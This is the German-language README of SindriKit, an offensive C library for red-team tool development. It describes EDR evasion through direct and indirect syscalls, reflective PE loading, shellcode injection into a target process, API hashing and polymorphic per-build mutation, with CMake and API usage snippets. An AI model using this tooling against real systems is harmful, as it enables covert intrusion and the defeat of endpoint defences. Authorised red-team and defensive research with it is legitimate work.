
SindriKit v2.0.0
Eine grundlegende C-Bibliothek zur Erstellung operativ glaubwürdiger offensiver Fähigkeiten
SindriKit
Offensive Development verdient eine bessere Architektur.
Eine C-Bibliothek zum Aufbau offensiver Fähigkeiten.
Kernkonzept
Die meisten offensiven Werkzeuge kodieren ihre Ausführungsmechanik fest in die Logik der Technik. Ein reflektiver Loader mappt nicht einfach ein Image; er mappt es unter Verwendung einer bestimmten, fest kodierten Kette von VirtualAlloc- oder nativen NTAPI-Aufrufen. Wenn eine EDR beginnt, diese spezifische Kette zu überwachen, sind Sie gezwungen, das gesamte Werkzeug neu zu schreiben.
SindriKit löst dies, indem es eine Trennung der Belange durch Interface-Abstraktionstabellen erzwingt:
- Die Technik-Logik: (z. B. Loader, Injektionen, Patcher) befasst sich mit Zustandsverfolgung und Datenorchestrierung. Sie hat keine Kenntnis davon, wie Speicher zugewiesen oder Threads erstellt werden.
- Die Ausführungsmechanik: (z. B. Win32-API, Native NTAPI, Direct Syscalls) befindet sich in unabhängigen API-Tabellen und wird zur Laufzeit in die Technik injiziert.
Indem die Ausführungsmechanik auf Laufzeit-Funktionszeiger verlagert wird, können Sie Ihre gesamte Strategie von Win32-Aufrufen auf rohe Direct Syscalls mit einer einzigen Codezeile umstellen – ohne Ihre Payload-Ausführungslogik zu ändern.
Design-Architektur
- Entkoppelte Ausführungsprofile: Tauschen Sie zugrunde liegende Speicher-, Modul- und Thread-Manipulationsverhalten über Funktionszeigertabellen aus, ohne die aufrufende Technik zu brechen.
- Kaskadierende Syscall-Fallbacks: Austauschbare SSN-Resolver (
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) mit einer Prioritätskette – tauschen Sie Strategien aus oder erweitern Sie sie, ohne den Domänencode zu berühren. - Compile-Time-Obfuskation: String- und API-Hashing-Algorithmen (DJB2, FNV1A) können global über CMake ausgetauscht werden. Das Kompilieren randomisiert automatisch den globalen Seed, um statische Signaturen zu verändern.
- Mutations-Engine: Ermöglicht tiefe Polymorphie über
SND_MORPH. Generiert bei jedem Build einzigartige binäre Signaturen, indem volatile opake Prädikate in C-Code, funktional äquivalente Math/NOPs in Assembly-Stubs injiziert und das Speicherlayout der Kernstrukturen verwürfelt wird. - Release-Builds: Eine stille Stufe entfernt alle diagnostischen Strings, Dateideskriptoren und Tracking-Frames aus der finalen Binärdatei und reduziert Ihren statischen Footprint auf bloße Primitive.
SindriKit integrieren
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Nur zwei Zeilen, damit Ihr Werkzeug alle Fähigkeiten von SindriKit erbt: PE-Parsing, Syscall-Auflösung, reflektives Laden...
Die Engine
API-Abstraktionsschicht
┌────────────────────────────────────────────────────────────────────────────┐
│ JEDE OFFENSIVE ABSICHT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API-ABSTRAKTIONSSCHICHT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ zukünftige Tabellen ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32-Profil │ Natives Profil │ Eigene Mechanik mitbringen │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotisch │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-definierte Funktionen │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
In der Praxis bedeutet dies, dass jede Domäne demselben Vertrag folgt:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
Kaskadierende Syscall-Pipeline
SindriKit behandelt die Syscall-Auflösung als eine injizierbare Mechanik, die Strategien in Prioritätsreihenfolge stapelt. Die Engine fällt durch, bis eine erfolgreich ist:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Der Invoker ist von der SSN-Auflösung entkoppelt – wechseln Sie zwischen direkten und indirekten Syscalls, ohne den Domänencode zu ändern. Der indirekte Aufruf springt zu einem legitimen NTDLL-Gadget und hält die Syscall-Rücksprungadresse innerhalb von ntdll.dll.
Compile-Time-Algorithmus-Agilität
Jeder API-Name und Modul-String wird zur Kompilierzeit über eine einzige CMake-Variable aus der finalen Binärdatei entfernt:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Jeder Hash wird mit einem zufällig generierten Seed berechnet (wenn SND_RANDOMIZE_SEED=ON). Der statische Footprint verschiebt sich vollständig zwischen Kompilierungen, ohne eine Zeile C zu berühren.
Architektur-bewusste dynamische FFI
Eine benutzerdefinierte MASM-Assembly-Brücke für beliebige Laufzeit-Funktionsaufrufe. x64-Builds folgen präzise der Microsoft x64-Aufrufkonvention (Shadow Space, Register-Argumentplatzierung, Stack-Ausrichtung). x86-Builds pushen Argumente in umgekehrter Reihenfolge mit Unterstützung für sowohl cdecl- als auch stdcall-Ziele.
Bounds-geprüfter PE-Parser
Ein einheitlicher PE32/PE32+-Parser mit einem is_mapped-Flag, das sowohl rohe On-Disk-Images als auch speichergemappte Views korrekt handhabt. Jeder Datenverzeichniszugriff wird gegen verfolgte Puffergrenzen validiert, bevor dereferenziert wird. Die Export-Auflösung unterstützt Forwarder-Ketten bis zu einer Tiefe von 4 mit hash-basiertem Lookup.
Getestet gegen:
- Über 40 Kern-Testkombinationen, die auf Edge-Case-EXEs, DLLs, fehlerhafte Argumente, fehlende Exporte und TLS-Callbacks über x86 und x64 abzielen.
- Über 100 dynamische PE-Mutationen, die vom
pe_mutator-Modul generiert wurden: genullte Section-Namen, Integer-Overflows, ungültigee_lfanew-Grenzen, verstümmelte Importe. - Vollständiger Corkami-Korpus: lädt gültige Samples sauber, lehnt fehlerhafte ohne Absturz über 99 % der Samples sauber ab.
Zustandsverfolgte Domänen-Kontexte
Jede offensive Operation wird über eine diskrete Kontextstruktur mit Stufen-Enumeration verwaltet. Operationen können zwischen Stufen für Sleep-Obfuskation oder gestaffelten Einsatz pausiert, sauber fortgesetzt und auf den exakten Fehlerpunkt bis hinunter zum Subsystem und Grund inspiziert werden.
Die API-Design-Philosophie
Bootstrapen Sie die Syscall-Pipeline einmal (typisches Muster):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Der Invoker ist von der SSN-Auflösung entkoppelt – wechseln Sie zwischen direkten und indirekten Syscalls, ohne den Domänencode zu ändern. Der indirekte Aufruf springt zu einem legitimen NTDLL-Gadget und hält die Syscall-Rücksprungadresse innerhalb von ntdll.dll.
Tauschen Sie das Ausführungsprofil mit einer Zuweisung aus:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
Die Modulauflösung folgt demselben Muster (snd_mod_win vs. snd_mod_nt). Es gibt kein syscall-gestütztes Modul-Backend – Importe verwenden PEB Walk + EAT auch in vollständigen _sys-Profilen.
Build-Stufen
Debug-Stufe — SND_ENABLE_DEBUG=ON
Für die lokale Entwicklung. snd_status_t erweitert sich um file, line und einen 128-Byte-context-String-Puffer. SND_ERR_CTX und SND_DEBUG_PRINT geben Zustandsmaschinen-Übergänge, geparste PE-Feldwerte und Syscall-Auflösungsergebnisse aus. Verwenden Sie SND_USE_PRINTF=ON, um die Ausgabe auf stdout statt auf die Debug-Konsole umzuleiten.
Stille Stufe — SND_ENABLE_DEBUG=OFF
Die Standard-Deployment-Konfiguration für operative Binärdateien. Jeder diagnostische String, jede Dateireferenz und jede Zeilennummer wird vollständig wegkompiliert. snd_status_t kollabiert auf zwei Integer. Nichts weiter.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Dokumentation
Vollständige Referenz unter docs/:
- Erste Schritte — CMake, Build-Stufen, DI-Bootstrap, erster Loader-/Injektions-Workflow
- Architektur — Dependency Injection, Zustandsmaschinen, Status-System
- Primitive — Speicher, Module, Prozess, Mapping, Syscalls, Ausführung (FFI)
- Loader — Reflektive PE-Pipeline
- Injektion — Klassische Shellcode- und PE-Injektion
- Parser — PE- und Env-(PEB-)Subdomänen
- Common — CRT-freie Helfer, Puffer, Hashing, Status
- Beispiele & PoCs —
unified-Executable-Profile (load, inject, hg) - Tests — Integrations-Runner, PE-Mutator
Geplant: Evasion-Domäne.
Haftungsausschluss
SindriKit ist ausschließlich für Bildungs-, Forschungs- und autorisierte Red-Teaming-Zwecke konzipiert. Den vollständigen rechtlichen Haftungsausschluss und Informationen zu OpSec-Überlegungen finden Sie in der Security Policy.
Lizenz